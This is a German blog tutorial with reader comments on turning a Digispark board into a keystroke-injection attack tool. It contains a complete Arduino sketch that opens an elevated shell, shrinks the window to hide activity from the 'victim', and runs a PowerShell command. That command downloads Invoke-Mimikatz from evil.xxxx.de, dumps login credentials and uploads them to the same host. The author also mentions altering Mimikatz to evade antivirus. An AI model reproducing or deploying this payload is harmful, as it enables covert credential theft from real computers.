Im ersten Teil dieses Tutorials wurde gezeigt, wie man eine “Enwicklungsumgebung” für die Mikrocontroller-Entwicklungsplatine Digispark unter Windows einrichtet. Nun wollen wir die kleine Platine für Penetrationstests einsetzen.
Derzeit ist eine Header-Datei verfügbar, die alle Tastenkombinationen und Befehle enthält. Leider wird derzeit nur eine US-Tastatur unterstützt. Um die Platine für den deutschspachigen Raum nutzbar zu machen, kann man aber einen kleinen Trick anwenden.
Die zur Verfügung stehende Skriptsprache unterscheidet sich zwar etwas vom Duckyscript, ist aber ähnlich leicht zu verstehen und einzusetzen. Hier einige wichtige Befehle:
Tasten- und Tastenkombinationen:
DigiKeyboard.sendKeyStroke(KEY_V)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT)
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT | MOD_SHIFT_LEFT)
DigiKeyboard.sendKeyStroke(KEY_DELETE, MOD_ALT_RIGHT | MOD_CONTROL_LEFT)
Eingabe von Zeichenketten:
DigiKeyboard.println(“mspaint”)
Verzögerungen in Millisekunden:
DigiKeyboard.delay(5000)
Um zu zeigen, dass man die Digispark-Platine ähnlich wie ein Rubber Ducky einsetzen kann, greifen wir nochmal den “15 Sekunden Passwort-Hack” aus einem früheren Beitrag auf. Hier hatten wir mit Hilfe von Mimikatz das Login-Passwort aus einem PC ausgelesen und an einen Webserver übermittelt.
Das dort erstellte Skript lässt sich ebenso für die Digispark-Platine umsetzen, wenn wir das Problem mit dem Tastaturlayout lösen können.
Natürlich könnte man die Header-Datei so anpassen, dass andere Tastaturlayouts nutzbar wären. Ich habe mich aber für eine einfachere Lösung entschieden. Dazu installiert man auf dem Testsystem (also einem Windows APC oder Notebook) zusätzliche eine englische Tastatur (US-Keyboard). Ab jetzt ist man “zweisprachig” unterwegs, was das Tastaturlayout betrifft.
Die Tastenkombinationen, z.B. zum Aufrufen bestimmter Befehle, sind oftmals gleich und damit nicht das eigentliche Problem. Die Zeichenketten in der “DigiKeyboard.println-Anweisung” können aber unterschiedlich ausfallen. Dies soll folgendes Beispiel verdeutlichen:
Im Duckyscript wird in Zeile 13 der Befehl “STRING mode con:cols=18 lines=1” verwendet, um die Windows-Eingabeaufforderung zu verkleinern und damit dem “Opfer” das Sichtfeld auf die eingegebenen Zeichen zu verkleinern. Später werden zusätzlich die Hintergrund- und Zeichenfarben verändert.
Umgesetzt in eine “println-Anweisung” würde dies wie folgt aussehen:
DigiKeyboard.println("mode con:cols=18 lines=1");
Man wird aber schnell feststellen, dass diese Anweisung auf einem Zielsystem mit einer deutschen Tastatur, falsch wiedergegeben wird. Um dies zu umgehen, stellen wir die Tastatur auf der “Entwicklungsumgebung” auf “Englisch (USA)” um und geben die gleiche Zeichenkette nochmals ein. Dies sieht dann so aus:
DigiKeyboard.println("mode con>cols)18 lines)1");
Der so eingegebene Befehl wird später auf dem Zielsystem über die deutsche Tastatur richtig ausgegeben und ausgeführt. Vorstellbar ist, dass somit auch andere Tastaturlayouts (z.B. schwedisch, niederländisch, italienisch usw.) nutzbar sind, ohne die Header-Datei anzupassen.
Das fertige Skript könnte so aussehen:
[code]
#include “DigiKeyboard.h”
void setup()
{
pinMode(1, OUTPUT); //LED on Model A
}
void loop()
{
DigiKeyboard.update();
// DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); //minimize all windows
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
DigiKeyboard.delay(500);
DigiKeyboard.println(“powershell Start/Process cmd /Verb runAs”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_J, MOD_ALT_LEFT); // ALT-J
DigiKeyboard.delay(1000);
DigiKeyboard.println(“mode con>cols)18 lines)1”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.println(“powershell @IEX *New/Object Net.WebClient(.DownloadString*|http>&&evil.xxxx.de&im.ps1|(< $output ) Invoke/Pill /DumpCreds< *New/Object Net.WebClient(.UploadString*|http>&&evil.xxxx.de&rx.php|, $output(@”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(15000);
digitalWrite(1, HIGH); //turn on led when program finishes
DigiKeyboard.delay(2000);
digitalWrite(1, LOW);
DigiKeyboard.println(“exit”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(15000);
}
[/code]
Kernstück bildet dabei die “println-Anweisung” im unteren Drittel. Hier wird das Powershell-Skript vom Webserver heruntergeladen, ausgeführt und das Ergebnis wieder an den Webserver übertragen. Hier sind natürlich die Einstellungen so anzupassen, dass sie der eigenen Umgebung entsprechen. Zugegeben – auch der Quellcode der Skriptdatei Invoke-Mimikatz wurde ein wenig verändert, um die Erkennung durch Virenschutzprogramme zu erschweren.
Am Ende des Skriptes sind zusätzliche Anweisungen eingefügt, die ein LED aufleuchten lassen, sobald das Programm beendet ist. Dies zeigt das nachfolgende Video.
Heist das in dieser Zeile nicht
DigiKeyboard.sendKeyStroke(KEY_J, MOD_ALT_LEFT); // ALT-J
sondern
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
oder liegt das an der systemsprache
Ich glaube der Befehl ist so richtig. Es soll ja das deutsche J ausgegebenen werden. Kit KEY_Y würde wohl auf der deutschen Tastatur ein Z ausgegeben werden.
in dem Fall liegt es an der Sprache da mein System auf English ist passiert bei KEY_J nichts also am besten immer beides Schreiben dann hat man es sicher 🙂
Konnte das Keyboard Layout Problem durch “outsourcing” beheben:
Python Script welches native RubberDucky payloads (nach Erzeugung mit DuckEncoder) in ein Arduino Sketch fuer DigiSpark konvertiert:
https://github.com/mame82/duck2spark
Super Idee! Sobald Zeit dafür ist, werde ich es testen. Gruß!
Kann es sein, dass das Script auf einer aktuellen Windows 10 Version nicht mehr geht?
Das würde ich nicht ausschließen. Das liegt in der Natur solcher Dinge, dass irgendwann eine Abwehrmaßnahme greift.